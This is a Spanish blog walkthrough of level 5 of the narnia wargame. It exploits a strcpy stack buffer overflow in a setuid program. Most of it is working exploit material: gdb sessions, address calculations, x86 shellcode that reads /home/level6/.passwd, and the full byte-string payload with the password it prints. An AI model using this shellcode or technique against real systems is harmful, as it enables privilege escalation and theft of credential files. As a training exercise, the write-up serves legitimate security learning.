Wargame narnia: Nivel 5
Vamos a seguir con el nivel 5 del wargame de narnia, es este caso es bastante similar al nivel 3.
El código del nivel es el siguiente:
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
extern char **environ;
int main(int argc,char **argv){
char buffer[100];
int i;
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc>1){
seteuid(1006);
strcpy(buffer,argv[1]);
}
return 0;
}
Podemos apreciar que este nivel es exactamente igual que el nivell 3 que ya hemos visto, con las únicas diferencias en el tamaño del buffer y que se ponen a cero todas las variables de entorno.
Para el shellcode que hicimos para el nivel 3 no usamos para nada las variables de entorno, por lo que nos da igual que las pongan a cero, simplemente deberemos repetir el nivel 3 con otros valores.
Primero de todo vamos a probar tamaños del buffer para encontrar el tamaño que causa un error en la aplicación:
level5@narnia:/tmp/puta$ for i in $(seq 100 150); do /wargame/level5 $(perl -e "print \"a\"x$i;"); if [ $? -ne 0 ]; then echo $i; break; fi; done Illegal instruction 124
Con gdb podemos ver los registros:
level5@narnia:~$ gdb /wargame/level5 -q Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) r `perl -e 'print "a"x124;'` Starting program: /wargame/level5 `perl -e 'print "a"x124;'` Program received signal SIGILL, Illegal instruction. 0xb7ec7e00 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6 (gdb) info registers eax 0x0 0 ecx 0xfffffdf4 -524 edx 0xbffffbd9 -1073742887 ebx 0xb7fdfff4 -1208090636 esp 0xbffff9d0 0xbffff9d0 ebp 0x61616161 0x61616161 esi 0x0 0 edi 0xb8000cc0 -1207956288 eip 0xb7ec7e00 0xb7ec7e00 <__libc_start_main+32> eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)
Los registros sobrescritos son:
ebp 0x61616161 eip 0xb7ec7e00
Como se ha sobrescrito completamente el ebp y el cero a eip, deberemos usar 124 bytes más la dirección de salto.
Mediante un simple programa en C obtenemos la dirección que nos interesa:
#include <stdio.h>
int main(int argc, char *argv[])
{
printf("%x\n",argv[1]);
return 0;
}
Ejecutamos el comando con los mismos tamaños de argv[0] y de argv[1] para obtener la misma dirección que la que tendremos en el wargame:
level5@narnia:/tmp/puta$ /tmp/puta/a.out $(perl -e 'print "a"x128;') bffffb59
Podemos comprobar mediante gdb que en dicha dirección tengamos los datos que pasamos como argv[1]:
level5@narnia:/tmp/puta$ gdb -q /wargame/level5 Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) r `perl -e 'print "\x90"x124; print "\x59\xfb\xff\xbf";'` Starting program: /wargame/level5 `perl -e 'print "\x90"x124; print "\x59\xfb\xff\xbf";'` Program received signal SIGSEGV, Segmentation fault. 0xbffffbd8 in ?? () (gdb) x/x 0xbffffb59 0xbffffb59: 0x90900035 (gdb)
A continuación deberemos calcular la dirección del buffer para usarlo de pila para el shellcode. Simplemente aprovechamos el código del level3 cambiando el tamaño del buf a 100:
#include <stdio.h>
int main(int argc, char *argv[])
{
char buf[100];
printf("entrada: %x - stack: %x\n",argv[1],(buf+128));
return 0;
}
Lo ejecutamos y obtenemos:
level5@narnia:/tmp/puta$ ./a.out entrada: 0 - stack: bffffa54
Finalmente deberemos modificar el shellcode del nivel 2 que ya hemos modificado para el nivel 3 con el nuevo fichero a abrir y la nueva dirección del buffer que usamos de pila:
global _start section .text _start: ;; /home/level6/.passwd,0 ;;;;;;;;;;;;;;;;; ; /hom ; e/le ; vel6 ; /.pa ; sswd ; 0000 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; 0000 ; sswd dwss 64777373 ; /.pa ap./ 61702E2F ; vel6 6lev 366C6577 ; e/le el/e 656C2F65 ; /hom moh/ 6D6F682F mov ebp,0xbffffa54 mov esp,ebp xor eax,eax mov byte al,0x5;syscall 5 = open xor ebx,ebx push ebx push 0x64777373 push 0x61702E2F push 0x366C6576 push 0x656C2F65 push 0x6D6F682F mov ebx,esp;nombre de fichero mov esi,esp xor ecx,ecx;O_RDONLY xor edx,edx int 0x80 push eax;descriptor xor eax,eax;syscall 3 = read mov byte al,0x3 pop ebx;descriptor xor edi,edi push edi;4bytes push edi;4bytes push edi;4bytes push edi;4bytes ;TOTAL: 16bytes de buffer mov ecx,esp;buff xor edx,edx mov byte dl,0xF;tamanyo int 0x80 push eax; bytes read xor eax,eax mov byte al,0x4;syscall 4 = write xor ebx,ebx mov byte bl,0x1;stdout pop edx;total leido mov ecx,esp;buf int 0x80 xor eax,eax inc eax;syscall 1 = exit xor ebx,ebx;return 0 int 0x80
A continuación compilamos y mediante objdump transformamos cada byte generado en instrucciones de perl:
level5@narnia:/tmp/puta$ nasm -f elf cinc.asm level5@narnia:/tmp/puta$ ld -s -o cinc cinc.o level5@narnia:/tmp/puta$ echo perl -e \'$(objdump -d cinc | grep "^ [0-9acbdef]" | cut -f -2 | cut -f 2- | sed 's/ */ /g' | sed 's/ $//g' | sed 's/^/\\x/g' | sed 's/ /\\x/g' | sed 's/^/print "/' | sed 's/$/";/')\' perl -e 'print "\xbd\x54\xfa\xff\xbf"; print "\x89\xec"; print "\x31\xc0"; print "\xb0\x05"; print "\x31\xdb"; print "\x53"; print "\x68\x73\x73\x77\x64"; print "\x68\x2f\x2e\x70\x61"; print "\x68\x76\x65\x6c\x36"; print "\x68\x65\x2f\x6c\x65"; print "\x68\x2f\x68\x6f\x6d"; print "\x89\xe3"; print "\x89\xe6"; print "\x31\xc9"; print "\x31\xd2"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x03"; print "\x5b"; print "\x31\xff"; print "\x57"; print "\x57"; print "\x57"; print "\x57"; print "\x89\xe1"; print "\x31\xd2"; print "\xb2\x0f"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x04"; print "\x31\xdb"; print "\xb3\x01"; print "\x5a"; print "\x89\xe1"; print "\xcd\x80"; print "\x31\xc0"; print "\x40"; print "\x31\xdb"; print "\xcd\x80";' level5@narnia:/tmp/merd$ perl -e 'print "\xbd\x54\xfa\xff\xbf"; print "\x89\xec"; print "\x31\xc0"; print "\xb0\x05"; print "\x31\xdb"; print "\x53"; print "\x68\x73\x73\x77\x64"; print "\x68\x2f\x2e\x70\x61"; print "\x68\x76\x65\x6c\x36"; print "\x68\x65\x2f\x6c\x65"; print "\x68\x2f\x68\x6f\x6d"; print "\x89\xe3"; print "\x89\xe6"; print "\x31\xc9"; print "\x31\xd2"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x03"; print "\x5b"; print "\x31\xff"; print "\x57"; print "\x57"; print "\x57"; print "\x57"; print "\x89\xe1"; print "\x31\xd2"; print "\xb2\x0f"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x04"; print "\x31\xdb"; print "\xb3\x01"; print "\x5a"; print "\x89\xe1"; print "\xcd\x80"; print "\x31\xc0"; print "\x40"; print "\x31\xdb"; print "\xcd\x80";' | wc -c 90
Como nos ocupa 90 bytes el código, añadimos 10 bytes de nops al principio y 24 bytes de cualquier cosa al final más la dirección del argv[1], obteniendo los 128 bytes:
level5@narnia:/tmp/puta$ perl -e 'print "\x90"x10; print "\xbd\x54\xfa\xff\xbf"; print "\x89\xec"; print "\x31\xc0"; print "\xb0\x05"; print "\x31\xdb"; print "\x53"; print "\x68\x73\x73\x77\x64"; print "\x68\x2f\x2e\x70\x61"; print "\x68\x76\x65\x6c\x36"; print "\x68\x65\x2f\x6c\x65"; print "\x68\x2f\x68\x6f\x6d"; print "\x89\xe3"; print "\x89\xe6"; print "\x31\xc9"; print "\x31\xd2"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x03"; print "\x5b"; print "\x31\xff"; print "\x57"; print "\x57"; print "\x57"; print "\x57"; print "\x89\xe1"; print "\x31\xd2"; print "\xb2\x0f"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x04"; print "\x31\xdb"; print "\xb3\x01"; print "\x5a"; print "\x89\xe1"; print "\xcd\x80"; print "\x31\xc0"; print "\x40"; print "\x31\xdb"; print "\xcd\x80"; print "a"x24; print "\x59\xfb\xff\xbf";' | wc -c 128
Finalmente sólo nos quedará ejecutarlo para obtener el código del siguiente nivel:
level5@narnia:/tmp/puta$ /wargame/level5 $(perl -e 'print "\x90"x10; print "\xbd\x54\xfa\xff\xbf"; print "\x89\xec"; print "\x31\xc0"; print "\xb0\x05"; print "\x31\xdb"; print "\x53"; print "\x68\x73\x73\x77\x64"; print "\x68\x2f\x2e\x70\x61"; print "\x68\x76\x65\x6c\x36"; print "\x68\x65\x2f\x6c\x65"; print "\x68\x2f\x68\x6f\x6d"; print "\x89\xe3"; print "\x89\xe6"; print "\x31\xc9"; print "\x31\xd2"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x03"; print "\x5b"; print "\x31\xff"; print "\x57"; print "\x57"; print "\x57"; print "\x57"; print "\x89\xe1"; print "\x31\xd2"; print "\xb2\x0f"; print "\xcd\x80"; print "\x50"; print "\x31\xc0"; print "\xb0\x04"; print "\x31\xdb"; print "\xb3\x01"; print "\x5a"; print "\x89\xe1"; print "\xcd\x80"; print "\x31\xc0"; print "\x40"; print "\x31\xdb"; print "\xcd\x80"; print "a"x24; print "\x59\xfb\xff\xbf";') Deing#u2
Ya podemos saltar al siguiente nivel
El listado de soluciones de otros niveles del wargame de narnia es el siguiente:
Relacionados
Imprimir


Deja un comentario: